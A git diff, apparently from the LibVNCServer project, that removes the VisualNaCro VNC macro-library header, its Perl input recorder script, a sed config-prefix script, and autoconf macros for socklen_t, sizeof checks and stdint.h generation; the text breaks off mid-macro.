-/* the return values of process() and friends */
-typedef int result_t;
-/*
-%constant int RESULT_TIMEOUT=1;
-%constant int RESULT_KEY=2;
-%constant int RESULT_MOUSE=4;
-%constant int RESULT_TEXT_CLIENT=8;
-%constant int RESULT_TEXT_CLIENT=16;
-%constant int RESULT_SCREEN=32;
-%constant int RESULT_FOUNDIMAGE=64;
-%constant int RESULT_SHUTDOWN=128;
-*/
-
-%}
-
-#endif // SWIG
-
-typedef int bool_t;
-typedef int keysym_t;
-typedef int coordinate_t;
-typedef unsigned char buttons_t;
-typedef int resource_t;
-typedef double timeout_t;
-typedef int result_t;
-#define RESULT_TIMEOUT 1
-#define RESULT_KEY 2
-#define RESULT_MOUSE 4
-#define RESULT_TEXT_CLIENT 8
-#define RESULT_TEXT_SERVER 16
-#define RESULT_SCREEN 32
-#define RESULT_FOUNDIMAGE 64
-#define RESULT_SHUTDOWN 128
-
-/* init/shutdown */
-
-resource_t initvnc(const char* server,int serverPort,int listenPort);
-void closevnc(resource_t res);
-
-/* run the event loop for a while: process() and friends:
- * process() returns only on timeout,
- * waitforanything returns on any event (input, output or timeout),
- * waitforupdate() returns only on timeout or screen update,
- * waitforinput() returns only on timeout or user input,
- * visualgrep() returns only on timeout or if the specified PNM was found
- * (in that case, x_origin and y_origin are set to the upper left
- * corner of the matched image). */
-
-result_t process(resource_t res,timeout_t seconds);
-result_t waitforanything(resource_t res,timeout_t seconds);
-result_t waitforupdate(resource_t res,timeout_t seconds);
-result_t waitforinput(resource_t res,timeout_t seconds);
-result_t visualgrep(resource_t res,const char* filename,timeout_t seconds);
-
-/* inspect last events */
-
-keysym_t getkeysym(resource_t res);
-bool_t getkeydown(resource_t res);
-
-coordinate_t getx(resource_t res);
-coordinate_t gety(resource_t res);
-buttons_t getbuttons(resource_t res);
-
-const char *gettext_client(resource_t res);
-const char *gettext_server(resource_t res);
-
-/* send events to the server */
-
-bool_t sendkey(resource_t res,keysym_t keysym,bool_t keydown);
-bool_t sendascii(resource_t res,const char *string);
-bool_t sendmouse(resource_t res,coordinate_t x,coordinate_t y,buttons_t buttons);
-bool_t sendtext(resource_t res, const char *string);
-bool_t sendtext_to_server(resource_t res, const char *string);
-
-/* for visual grepping */
-
-coordinate_t getxorigin(resource_t res);
-coordinate_t getyorigin(resource_t res);
-
-bool_t savepnm(resource_t res,const char* filename,coordinate_t x1, coordinate_t y1, coordinate_t x2, coordinate_t y2);
-
-result_t displaypnm(resource_t res, const char *filename, coordinate_t x, coordinate_t y, bool_t border, timeout_t timeout);
-
-/* this displays an overlay which is shown for a certain time */
-
-result_t alert(resource_t res,const char* message,timeout_t timeout);
-
-/* display a rectangular rubber band between (x0, y0) and the current
- mouse pointer, as long as a button us pressed. */
-
-result_t rubberband(resource_t res, coordinate_t x0, coordinate_t y0);
-
-#endif
diff --git a/VisualNaCro/recorder.pl b/VisualNaCro/recorder.pl
deleted file mode 100644
index 01ab3f2..0000000
--- a/VisualNaCro/recorder.pl
+++ /dev/null
@@ -1,282 +0,0 @@
-#!/usr/bin/perl
-
-use Getopt::Long;
-use nacro;
-
-$output="my_script";
-$server="localhost";
-$port=5900;
-$listen_port=5923;
-$timing=0;
-$symbolic=0;
-$compact=0;
-$compact_dragging=0;
-
-if(!GetOptions(
- "script:s" => \$output,
- "listen:i" => \$listen_port,
- "timing" => \$timing,
- "symbolic" => \$symbolic,
- "compact" => \$compact,
- "compact-dragging" => \$compact_dragging,
-) || $#ARGV!=0) {
- print STDERR "Usage: $ARGV0 [--script output_name] [--listen listen_port] [--timing]\n\t[--symbolic] [--compact] [--compact-dragging] server[:port]\n";
- exit 2;
-}
-
-$output=~s/\.pl$//;
-
-if ($timing) {
- eval 'use Time::HiRes';
- $timing=0 if $@;
- $starttime=-1;
-}
-
-if ($symbolic) {
- eval 'use X11::Keysyms qw(%Keysyms)';
- $symbolic=0 if $@;
- %sym_name = reverse %Keysyms;
-}
-
-$server=$ARGV[0];
-
-if($server=~/^(.*):(\d+)$/) {
- $server=$1;
- $port=$2;
- if($2<100) {
- $port+=5900;
- }
-}
-
-if($listen_port<100) {
- $listen_port+=5900;
-}
-
-# do not overwrite script
-
-if(stat("$output.pl")) {
- print STDERR "Will not overwrite $output.pl\n";
- exit 2;
-}
-
-# start connection
-$vnc=nacro::initvnc($server,$port,$listen_port);
-
-if($vnc<0) {
- print STDERR "Could not initialize $server:$port\n";
- exit 1;
-}
-
-open OUT, ">$output.pl";
-print OUT "#!/usr/bin/perl\n";
-print OUT "\n";
-if ($symbolic) {
- print OUT "use X11::Keysyms qw(\%sym);\n";
-}
-print OUT "use nacro;\n";
-print OUT "\n";
-print OUT "\$x_origin=0; \$y_origin=0;\n";
-print OUT "\$vnc=nacro::initvnc(\"$server\",$port,$listen_port);\n";
-
-$mode="passthru";
-$image_counter=1;
-$magickey=0;
-$x_origin=0; $y_origin=0;
-
-sub writetiming () {
- if ($timing) {
- $now=Time::HiRes::time();
- if ($starttime>0) {
- print OUT "nacro::process(\$vnc," . ($now - $starttime) . ");\n";
- }
- $starttime=$now;
- }
-}
-
-$last_button = -1;
-
-sub handle_mouse {
- my $x = shift;
- my $y = shift;
- my $buttons = shift;
- if(nacro::sendmouse($vnc,$x,$y,$buttons)) {
- $x-=$x_origin; $y-=$y_origin;
- writetiming();
- print OUT "nacro::sendmouse(\$vnc,\$x_origin"
- . ($x>=0?"+":"")."$x,\$y_origin"
- . ($y>=0?"+":"")."$y,$buttons);\n";
- }
-}
-
-sub toggle_text {
- my $text = shift;
- if ($text eq "Timing") {
- return $text . " is " . ($timing ? "on" : "off");
- } elsif ($text eq "Key presses") {
- return $text . " are recorded " . ($symbolic ? "symbolically"
- : "numerically");
- } elsif ($text eq "Mouse moves") {
- return $text . " are recorded " . ($compact ? "compacted"
- : "verbosely");
- } elsif ($text eq "Mouse drags") {
- return $text . " are recorded " . ($compact ? "compacted"
- : "verbosely");
- }
- return $text . ": <unknown>";
-}
-
-$menu_message = "VisualNaCro: press 'q' to quit,\n"
- . "'i' to display current settings,\n"
- . "'c', 'r' to toggle compact mouse movements or drags,\n"
- . "'d' to display current reference image,\n"
- . "or mark reference rectangle by dragging";
-
-while(1) {
- $result=nacro::waitforinput($vnc,999999);
- if($result==0) {
- # server went away
- close OUT;
- exit 0;
- }
-
- if($mode eq "passthru") {
- if($result&$nacro::RESULT_KEY) {
- $keysym=nacro::getkeysym($vnc);
- $keydown=nacro::getkeydown($vnc);
- if(nacro::sendkey($vnc,$keysym,$keydown)) {
- writetiming();
- if ($symbolic and exists $sym_name{$keysym}) {
- print OUT 'nacro::sendkey($vnc,$sym{'.$sym_name{$keysym}."},$keydown);\n";
- } else {
- print OUT "nacro::sendkey(\$vnc,$keysym,$keydown);\n";
- }
- }
- if($keysym==0xffe3 || $keysym==0xffe4) {
- if (!$keydown) {
- # Control pressed
- $magickey++;
- if ($magickey > 1) {
- $magickey = 0;
- $mode = "menu";
- nacro::alert($vnc,
- $menu_message, 10);
- }
- }
- } else {
- $magickey=0;
- }
- }
- if($result&$nacro::RESULT_MOUSE) {
- $x=nacro::getx($vnc);
- $y=nacro::gety($vnc);
- $buttons=nacro::getbuttons($vnc);
- if ($buttons != $last_buttons) {
- if (!$buttons && $compact_dragging) {
- handle_mouse($x, $y, $last_buttons);
- }
- $last_buttons = $buttons;
- } else {
- if (($buttons && $compact_dragging) ||
- (!$buttons && $compact)) {
- next;
- }
- }
- handle_mouse($x, $y, $buttons);
- }
- if ($result & $nacro::RESULT_TEXT_CLIENT) {
- my $text = nacro::gettext_client($vnc);
- if (nacro::sendtext($vnc,$text)) {
- writetiming();
- print OUT "nacro::sendtext(\$vnc, q(\Q$text\E));\n";
- print "got text from client: $text\n";
- }
- }
- if ($result & $nacro::RESULT_TEXT_SERVER) {
- my $text = nacro::gettext_server($vnc);
- if (nacro::sendtext_to_server($vnc,$text)) {
- writetiming();
- print OUT "nacro::sendtext_to_server(\$vnc, q(\Q$text\E));\n";
- print "got text from server: $text\n";
- }
- }
- } else {
- if($result&$nacro::RESULT_KEY) {
- $keysym=nacro::getkeysym($vnc);
- $keydown=nacro::getkeydown($vnc);
- if($keysym==ord('q')) {
- # shutdown
- close OUT;
- nacro::closevnc($vnc);
- exit 0;
- } elsif ($keysym == ord('d')) {
- $pnm=$output.($image_counter - 1).".pnm";
- $res = nacro::displaypnm($vnc, $pnm,
- $x_origin, $y_origin, 1, 10);
- #0, 0, 1, 10);
- if ($res == 0) {
- nacro::alert($vnc, "Error displaying "
- . $pnm, 10);
- }
- } elsif ($keysym == ord('i')) {
- nacro::alert($vnc, "Current settings:\n"
- . "\n"
- . "Script: $output\n"
- . "Server: $server\n"
- . "Listening on port: $port\n"
- . toggle_text("Timing") . "\n"
- . toggle_text("Key presses") . "\n"
- . toggle_text("Mouse moves") . "\n"
- . toggle_text("Mouse drags"), 10);
- } elsif ($keysym == ord('c')) {
- $compact = !$compact;
- nacro::alert($vnc,
- toggle_text("Mouse moves"), 10);
- } elsif ($keysym == ord('r')) {
- $compact_dragging = !$compact_dragging;
- nacro::alert($vnc,
- toggle_text("Mouse drags"), 10);
- } else {
- nacro::alert($vnc,"Unknown key",10);
- }
- $mode="passthru";
- }
- if($result&$nacro::RESULT_MOUSE) {
- $x=nacro::getx($vnc);
- $y=nacro::gety($vnc);
- $buttons=nacro::getbuttons($vnc);
- if(($buttons&1)==1) {
- print STDERR "start draggin: $x $y\n";
- $start_x=$x;
- $start_y=$y;
- nacro::rubberband($vnc, $x, $y);
- $x=nacro::getx($vnc);
- $y=nacro::gety($vnc);
- if($start_x==$x && $start_y==$y) {
- # reset
- print OUT "\$x_origin=0; \$y_origin=0;\n";
- } else {
- if($start_x>$x) {
- $dummy=$x; $x=$start_x; $start_x=$dummy;
- }
- if($start_y>$y) {
- $dummy=$y; $y=$start_y; $start_y=$dummy;
- }
- $pnm=$output.$image_counter.".pnm";
- $image_counter++;
- if(!nacro::savepnm($vnc,$pnm,$start_x,$start_y,$x,$y)) {
- nacro::alert($vnc,"Saving $pnm failed!",10);
- } else {
- $x_origin=$start_x;
- $y_origin=$start_y;
- nacro::alert($vnc,"Got new origin: $x_origin $y_origin",10);
- print OUT "if(nacro::visualgrep(\$vnc,\"$pnm\",999999)) {\n"
- . "\t\$x_origin=nacro::getxorigin(\$vnc);\n"
- . "\t\$y_origin=nacro::getyorigin(\$vnc);\n}\n";
- }
- }
- $mode="passthru";
- }
- }
- }
-}
-
diff --git a/_configs.sed b/_configs.sed
deleted file mode 100644
index 766681f..0000000
--- a/_configs.sed
+++ /dev/null
@@ -1,4 +0,0 @@
-s/#undef *\([ABCDEFGHIJKLMNOPQRSTUVWXYZ_]\)/#undef LIBVNCSERVER_\1/
-s/#define *\([ABCDEFGHIJKLMNOPQRSTUVWXYZ_][abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_]*\)\(.*\)/#ifndef LIBVNCSERVER_\1 \
-#define LIBVNCSERVER_\1 \2 \
-#endif/
diff --git a/acinclude.m4 b/acinclude.m4
deleted file mode 100644
index fc947ac..0000000
--- a/acinclude.m4
+++ /dev/null
@@ -1,7110 +0,0 @@
-AH_TEMPLATE(socklen_t, [The type for socklen])
-AC_DEFUN([AC_TYPE_SOCKLEN_T],
-[AC_CACHE_CHECK([for socklen_t], ac_cv_type_socklen_t,
-[
- AC_TRY_COMPILE(
- [#include <sys/types.h>
- #include <sys/socket.h>],
- [socklen_t len = 42; return 0;],
- ac_cv_type_socklen_t=yes,
- ac_cv_type_socklen_t=no)
-])
- if test $ac_cv_type_socklen_t != yes; then
- AC_DEFINE(socklen_t, int)
- fi
-])
-
-dnl Available from the GNU Autoconf Macro Archive at:
-dnl http://www.gnu.org/software/ac-archive/htmldoc/ac_compile_check_sizeof.html
-dnl
-AC_DEFUN([AC_COMPILE_CHECK_SIZEOF],
-[changequote(<<, >>)dnl
-dnl The name to #define.
-define(<<AC_TYPE_NAME>>, translit(sizeof_$1, [a-z *], [A-Z_P]))dnl
-dnl The cache variable name.
-define(<<AC_CV_NAME>>, translit(ac_cv_sizeof_$1, [ *], [_p]))dnl
-changequote([, ])dnl
-AC_MSG_CHECKING(size of $1)
-AC_CACHE_VAL(AC_CV_NAME,
-[for ac_size in 4 8 1 2 16 $2 ; do # List sizes in rough order of prevalence.
- AC_TRY_COMPILE([#include "confdefs.h"
-#include <sys/types.h>
-$2
-], [switch (0) case 0: case (sizeof ($1) == $ac_size):;], AC_CV_NAME=$ac_size)
- if test x$AC_CV_NAME != x ; then break; fi
-done
-])
-if test x$AC_CV_NAME = x ; then
- AC_MSG_ERROR([cannot determine a size for $1])
-fi
-AC_MSG_RESULT($AC_CV_NAME)
-AC_DEFINE_UNQUOTED(AC_TYPE_NAME, $AC_CV_NAME, [The number of bytes in type $1])
-undefine([AC_TYPE_NAME])dnl
-undefine([AC_CV_NAME])dnl
-])
-
-dnl Available from the GNU Autoconf Macro Archive at:
-dnl http://www.gnu.org/software/ac-archive/htmldoc/ac_create_stdint_h.html
-dnl
-AC_DEFUN([AC_CREATE_STDINT_H],
-[# ------ AC CREATE STDINT H -------------------------------------
-AC_MSG_CHECKING([for stdint-types....])
-ac_stdint_h=`echo ifelse($1, , _stdint.h, $1)`
-if test "$ac_stdint_h" = "stdint.h" ; then
- AC_MSG_RESULT("(are you sure you want them in ./stdint.h?)")
-elif test "$ac_stdint_h" = "inttypes.h" ; then
- AC_MSG_RESULT("(are you sure you want them in ./inttypes.h?)")
-else
- AC_MSG_RESULT("(putting them into $ac_stdint_h)")
-fi
-
-inttype_headers=`echo inttypes.h sys/inttypes.h sys/inttypes.h $2 \
-| sed -e 's/,/ /g'`
-
- ac_cv_header_stdint_x="no-file"
- ac_cv_header_stdint_o="no-file"
- ac_cv_header_stdint_u="no-file"
- for i in stdint.h $inttype_headers ; do
- unset ac_cv_type_uintptr_t
- unset ac_cv_type_uint64_t
- _AC_CHECK_TYPE_NEW(uintptr_t,[ac_cv_header_stdint_x=$i],dnl
- continue,[#include <$i>])
- AC_CHECK_TYPE(uint64_t,[and64="(uint64_t too)"],[and64=""],[#include<$i>])
- AC_MSG_RESULT(... seen our uintptr_t in $i $and64)
- break;
- done
- if test "$ac_cv_header_stdint_x" = "no-file" ; then
- for i in stdint.h $inttype_headers ; do
- unset ac_cv_type_uint32_t
- unset ac_cv_type_uint64_t
- AC_CHECK_TYPE(uint32_t,[ac_cv_header_stdint_o=$i],dnl
- continue,[#include <$i>])
- AC_CHECK_TYPE(uint64_t,[and64="(uint64_t too)"],[and64=""],[#include<$i>])
- AC_MSG_RESULT(... seen our uint32_t in $i $and64)
- break;
- done
- if test "$ac_cv_header_stdint_o" = "no-file" ; then
- for i in sys/types.h $inttype_headers ; do
- unset ac_cv_type_u_int32_t
- unset ac_cv_type_u_int64_t
- AC_CHECK_TYPE(u_int32_t,[ac_cv_header_stdint_u=$i],dnl
- continue,[#include <$i>])
- AC_CHECK_TYPE(uint64_t,[and64="(u_int64_t too)"],[and64=""],[#include<$i>])
- AC_MSG_RESULT(... seen our u_int32_t in $i $and64)
- break;
- done
- fi
- fi
-
-# ----------------- DONE inttypes.h checks MAYBE C basic types --------
-
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- AC_COMPILE_CHECK_SIZEOF(char)
- AC_COMPILE_CHECK_SIZEOF(short)
- AC_COMPILE_CHECK_SIZEOF(int)
- AC_COMPILE_CHECK_SIZEOF(long)
- AC_COMPILE_CHECK_SIZEOF(void*)
- ac_cv_header_stdint_test="yes"
-else
- ac_cv_header_stdint_test="no"
-fi
-
-# ----------------- DONE inttypes.h checks START header -------------
-_ac_stdint_h=AS_TR_CPP(_$ac_stdint_h)
-AC_MSG_RESULT(creating $ac_stdint_h : $_ac_stdint_h)
-echo "#ifndef" $_ac_stdint_h >$ac_stdint_h
-echo "#define" $_ac_stdint_h "1" >>$ac_stdint_h
-echo "#ifndef" _GENERATED_STDINT_H >>$ac_stdint_h
-echo "#define" _GENERATED_STDINT_H '"'$PACKAGE $VERSION'"' >>$ac_stdint_h
-if test "$GCC" = "yes" ; then
- echo "/* generated using a gnu compiler version" `$CC --version` "*/" \
- >>$ac_stdint_h
-else
- echo "/* generated using $CC */" >>$ac_stdint_h
-fi
-echo "" >>$ac_stdint_h
-
-if test "$ac_cv_header_stdint_x" != "no-file" ; then
- ac_cv_header_stdint="$ac_cv_header_stdint_x"
-elif test "$ac_cv_header_stdint_o" != "no-file" ; then
- ac_cv_header_stdint="$ac_cv_header_stdint_o"
-elif test "$ac_cv_header_stdint_u" != "no-file" ; then
- ac_cv_header_stdint="$ac_cv_header_stdint_u"
-else
- ac_cv_header_stdint="stddef.h"
-fi
-
-# ----------------- See if int_least and int_fast types are present
-unset ac_cv_type_int_least32_t
-unset ac_cv_type_int_fast32_t
-AC_CHECK_TYPE(int_least32_t,,,[#include <$ac_cv_header_stdint>])
-AC_CHECK_TYPE(int_fast32_t,,,[#include<$ac_cv_header_stdint>])
-
-if test "$ac_cv_header_stdint" != "stddef.h" ; then
-if test "$ac_cv_header_stdint" != "stdint.h" ; then
-AC_MSG_RESULT(..adding include stddef.h)
- echo "#include <stddef.h>" >>$ac_stdint_h
-fi ; fi
-AC_MSG_RESULT(..adding include $ac_cv_header_stdint)
- echo "#include <$ac_cv_header_stdint>" >>$ac_stdint_h
-echo "" >>$ac_stdint_h
-
-# ----------------- DONE header START basic int types -------------
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- AC_MSG_RESULT(... need to look at C basic types)
-dnl ac_cv_header_stdint_test="yes" # moved up before creating the file
-else
- AC_MSG_RESULT(... seen good stdint.h inttypes)
-dnl ac_cv_header_stdint_test="no" # moved up before creating the file
-fi
-
-if test "$ac_cv_header_stdint_u" != "no-file" ; then
- AC_MSG_RESULT(... seen bsd/sysv typedefs)
- cat >>$ac_stdint_h <<EOF
-
-/* int8_t int16_t int32_t defined by inet code, redeclare the u_intXX types */
-typedef u_int8_t uint8_t;
-typedef u_int16_t uint16_t;
-typedef u_int32_t uint32_t;
-EOF
- cat >>$ac_stdint_h <<EOF
-
-/* glibc compatibility */
-#ifndef __int8_t_defined
-#define __int8_t_defined
-#endif
-EOF
-fi
-
-ac_cv_sizeof_x="$ac_cv_sizeof_char:$ac_cv_sizeof_short"
-ac_cv_sizeof_X="$ac_cv_sizeof_x:$ac_cv_sizeof_int"
-ac_cv_sizeof_X="$ac_cv_sizeof_X:$ac_cv_sizeof_voidp:$ac_cv_sizeof_long"
-if test "$ac_cv_header_stdint" = "stddef.h" ; then
-# we must guess all the basic types. Apart from byte-adressable system,
-# there a few 32-bit-only dsp-systems. nibble-addressable systems are way off.
- cat >>$ac_stdint_h <<EOF
-/* ------------ BITSPECIFIC INTTYPES SECTION --------------- */
-EOF
- t="typedefs for a"
- case "$ac_cv_sizeof_X" in
- 1:2:2:2:4) AC_MSG_RESULT(..adding $t normal 16-bit system)
- cat >>$ac_stdint_h <<EOF
-/* a normal 16-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned long uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef long int32_t;
-#endif
-EOF
-;;
- 1:2:2:4:4) AC_MSG_RESULT(..adding $t 32-bit system derived from a 16-bit)
- cat >>$ac_stdint_h <<EOF
-/* a 32-bit system derived from a 16-bit */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:4:4) AC_MSG_RESULT(..adding $t normal 32-bit system)
- cat >>$ac_stdint_h <<EOF
-/* a normal 32-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:4:8) AC_MSG_RESULT(..adding $t 32-bit system prepared for 64-bit)
- cat >>$ac_stdint_h <<EOF
-
-/* a 32-bit system prepared for 64-bit */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:8:8) AC_MSG_RESULT(..adding $t normal 64-bit system)
- cat >>$ac_stdint_h <<EOF
-
-/* a normal 64-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:8:4) AC_MSG_RESULT(..adding $t 64-bit system derived from a 32-bit)
- cat >>$ac_stdint_h <<EOF
-
-/* a 64-bit system derived from a 32-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- *)
- AC_MSG_ERROR([ $ac_cv_sizeof_X dnl
- what is that a system? contact the author, quick! http://ac-archive.sf.net])
- exit 1
-;;
- esac
-fi
-
-# ------------- DONE basic int types START int64_t types ------------
-if test "$ac_cv_type_uint64_t" = "yes"
-then AC_MSG_RESULT(... seen good uint64_t)
- cat >>$ac_stdint_h <<EOF
-
-/* system headers have good uint64_t */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-#endif
-EOF
-
-elif test "$ac_cv_type_u_int64_t" = "yes"
-then AC_MSG_RESULT(..adding typedef u_int64_t uint64_t)
- cat >>$ac_stdint_h <<EOF
-
-/* system headers have an u_int64_t */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef u_int64_t uint64_t;
-#endif
-EOF
-else AC_MSG_RESULT(..adding generic uint64_t runtime checks)
- cat >>$ac_stdint_h <<EOF
-
-/* -------------------- 64 BIT GENERIC SECTION -------------------- */
-/* here are some common heuristics using compiler runtime specifics */
-#if defined __STDC_VERSION__ && defined __STDC_VERSION__ > 199901L
-
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long long int64_t;
-typedef unsigned long long uint64_t;
-#endif
-
-#elif !defined __STRICT_ANSI__
-#if defined _MSC_VER || defined __WATCOMC__ || defined __BORLANDC__
-
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef __int64 int64_t;
-typedef unsigned __int64 uint64_t;
-#endif
-
-#elif defined __GNUC__ || defined __MWERKS__ || defined __ELF__
-dnl /* note: all ELF-systems seem to have loff-support which needs 64-bit */
-
-#if !defined _NO_LONGLONG
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long long int64_t;
-typedef unsigned long long uint64_t;
-#endif
-#endif
-
-#elif defined __alpha || (defined __mips && defined _ABIN32)
-
-#if !defined _NO_LONGLONG
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long int64_t;
-typedef unsigned long uint64_t;
-#endif
-#endif
- /* compiler/cpu type ... or just ISO C99 */
-#endif
-#endif
-EOF
-
-# plus a default 64-bit for systems that are likely to be 64-bit ready
- case "$ac_cv_sizeof_x:$ac_cv_sizeof_voidp:$ac_cv_sizeof_long" in
- 1:2:8:8) AC_MSG_RESULT(..adding uint64_t default, normal 64-bit system)
-cat >>$ac_stdint_h <<EOF
-/* DEFAULT: */
-/* seen normal 64-bit system, CC has sizeof(long and void*) == 8 bytes */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long int64_t;
-typedef unsigned long uint64_t;
-#endif
-EOF
-;;
- 1:2:4:8) AC_MSG_RESULT(..adding uint64_t default, typedef to long)
-cat >>$ac_stdint_h <<EOF
-/* DEFAULT: */
-/* seen 32-bit system prepared for 64-bit, CC has sizeof(long) == 8 bytes */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long int64_t;
-typedef unsigned long uint64_t;
-#endif
-EOF
-;;
- 1:2:8:4) AC_MSG_RESULT(..adding uint64_t default, typedef long long)
-cat >>$ac_stdint_h <<EOF
-/* DEFAULT: */
-/* seen 64-bit derived from a 32-bit, CC has sizeof(long) == 4 bytes */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long long int64_t;
-typedef unsigned long long uint64_t;
-#endif
-EOF
-;;
- *)
-cat >>$ac_stdint_h <<EOF
-/* NOTE: */
-/* the configure-checks for the basic types did not make us believe */
-/* that we could add a fallback to a 'long long' typedef to int64_t */
-EOF
- esac
-fi
-
-# ------------- DONE int64_t types START intptr types ------------
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- cat >>$ac_stdint_h <<EOF
-
-/* -------------------------- INPTR SECTION --------------------------- */
-EOF
- case "$ac_cv_sizeof_x:$ac_cv_sizeof_voidp" in
- 1:2:2)
- a="int16_t" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) to be of 2 chars, hence we declare it 16-bit */
-
-typedef uint16_t uintptr_t;
-typedef int16_t intptr_t;
-EOF
-;;
- 1:2:4)
- a="int32_t" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) to be of 4 chars, hence we declare it 32-bit */
-
-typedef uint32_t uintptr_t;
-typedef int32_t intptr_t;
-EOF
-;;
- 1:2:8)
- a="int64_t" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) to be of 8 chars, hence we declare it 64-bit */
-
-typedef uint64_t uintptr_t;
-typedef int64_t intptr_t;
-EOF
-;;
- *)
- a="long" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) but got no guess, hence we declare it as if long */
-
-typedef unsigned long uintptr_t;
-typedef long intptr_t;
-EOF
-;;
- esac
-AC_MSG_RESULT(..adding typedef $a intptr_t)
-fi
-
-# ------------- DONE intptr types START int_least types ------------
-if test "$ac_cv_type_int_least32_t" = "no"; then
-AC_MSG_RESULT(..adding generic int_least-types)
- cat >>$ac_stdint_h <<EOF
-
-/* --------------GENERIC INT_LEAST ------------------ */
-
-typedef int8_t int_least8_t;
-typedef int16_t int_least16_t;
-typedef int32_t int_least32_t;
-#ifdef _HAVE_INT64_T
-typedef int64_t int_least64_t;
-#endif
-
-typedef uint8_t uint_least8_t;
-typedef uint16_t uint_least16_t;
-typedef uint32_t uint_least32_t;
-#ifdef _HAVE_INT64_T
-typedef uint64_t uint_least64_t;
-#endif
-EOF
-fi
-
-# ------------- DONE intptr types START int_least types ------------
-if test "$ac_cv_type_int_fast32_t" = "no"; then
-AC_MSG_RESULT(..adding generic int_fast-types)
- cat >>$ac_stdint_h <<EOF
-
-/* --------------GENERIC INT_FAST ------------------ */
-
-typedef int8_t int_fast8_t;
-typedef int32_t int_fast16_t;
-typedef int32_t int_fast32_t;
-#ifdef _HAVE_INT64_T
-typedef int64_t int_fast64_t;
-#endif
-
-typedef uint8_t uint_fast8_t;
-typedef uint32_t uint_fast16_t;
-typedef uint32_t uint_fast32_t;
-#ifdef _HAVE_INT64_T
-typedef uint64_t uint_fast64_t;
-#endif
-EOF
-fi
-
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- cat >>$ac_stdint_h <<EOF
-
-#ifdef _HAVE_INT64_T
-typedef int64_t intmax_t;
-typedef uint64_t uintmax_t;
-#else
-typedef long int intmax_t;
-typedef unsigned long uintmax_t;
-#endif
-EOF
-fi
-
-AC_MSG_RESULT(... DONE $ac_stdint_h)
- cat >>$ac_stdint_h <<EOF
-
- /* once */
-#endif
-#endif
-EOF
-])
-
-dnl quote from SunOS-5.8 sys/inttypes.h:
-dnl Use at your own risk. As of February 1996, the committee is squarely
-dnl behind the fixed sized types; the "least" and "fast" types are still being
-dnl discussed. The probability that the "fast" types may be removed before
-dnl the standard is finalized is high enough that they are not currently
-dnl implemented.
-
-dnl Available from the GNU Autoconf Macro Archive at:
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-dnl
-AC_DEFUN([AX_PREFIX_CONFIG_H],[AC_REQUIRE([AC_CONFIG_HEADER])
-AC_CONFIG_COMMANDS([ifelse($1,,$PACKAGE-config.h,$1)],[dnl
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- ;;
- *) _INP=config.h
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-if test -z "$_PKG" ; then
- AC_MSG_ERROR([no prefix for _PREFIX_PKG_CONFIG_H])
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- if test ! -f "$_INP" ; then if test -f "$srcdir/$_INP" ; then
- _INP="$srcdir/$_INP"
- fi fi
- AC_MSG_NOTICE(creating $_OUT - prefix $_UPP for $_INP defines)
- if test -f $_INP ; then
- echo "s/@%:@undef *\\(@<:@m4_cr_LETTERS[]_@:>@\\)/@%:@undef $_UPP""_\\1/" > _script
- # no! these are things like socklen_t, const, vfork
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- echo "s/@%:@def[]ine *\\(@<:@m4_cr_LETTERS[]_@:>@@<:@_symbol@:>@*\\)\\(.*\\)/@%:@ifndef $_UPP""_\\1 \\" >> _script
- echo "@%:@def[]ine $_UPP""_\\1 \\2 \\" >> _script
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- # echo "@%:@endif/" >> _script
- # now executing _script on _DEF input to create _OUT output file
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- echo "@%:@def[]ine $_DEF 1" >>$tmp/pconfig.h
- echo ' ' >>$tmp/pconfig.h
- echo /'*' $_OUT. Generated automatically at end of configure. '*'/ >>$tmp/pconfig.h
-
- sed -f _script $_INP >>$tmp/pconfig.h
- echo ' ' >>$tmp/pconfig.h
- echo '/* once:' $_DEF '*/' >>$tmp/pconfig.h
- echo "@%:@endif" >>$tmp/pconfig.h
- if cmp -s $_OUT $tmp/pconfig.h 2>/dev/null; then
